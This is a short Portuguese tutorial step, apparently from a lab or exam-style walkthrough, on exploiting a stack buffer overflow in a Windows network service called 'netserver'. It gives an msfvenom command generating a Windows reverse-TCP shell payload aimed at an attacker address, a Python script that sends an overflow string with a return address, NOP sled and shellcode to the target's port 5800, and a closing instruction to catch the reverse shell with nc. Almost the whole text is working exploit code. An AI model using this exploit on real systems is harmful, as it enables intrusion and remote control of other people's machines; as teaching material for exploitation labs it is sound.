Gerindo e Inserindo nosso Shellcode

+ Iremos gerar o payload com o msfvenom

```
msfvenom -p windows/shell_reverse_tcp lhost=172.15.2.215 lport=4444
exitfunc=thread -b "\x00" -f c
```

+ O payload será passado no script e executado tão logo executemos o netserver no outro pc

```
#!/usr/bin/python
import socket

#0x625012a0
payload = ("toda a parte entre aspas gerada pelo msfvenom")
dados = "A"*2006 + "\xa0\x12\x50\x62" + "\x90"*32 + payload

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("172.15.0.97",5800))
s.recv(1024)
cmd = "SEND "+dados+"\r\n"
s.send(cmd.encode())
```

+ Devemos abrir uma porta com o nc pra receber a conexão e voalá: reverse shell :)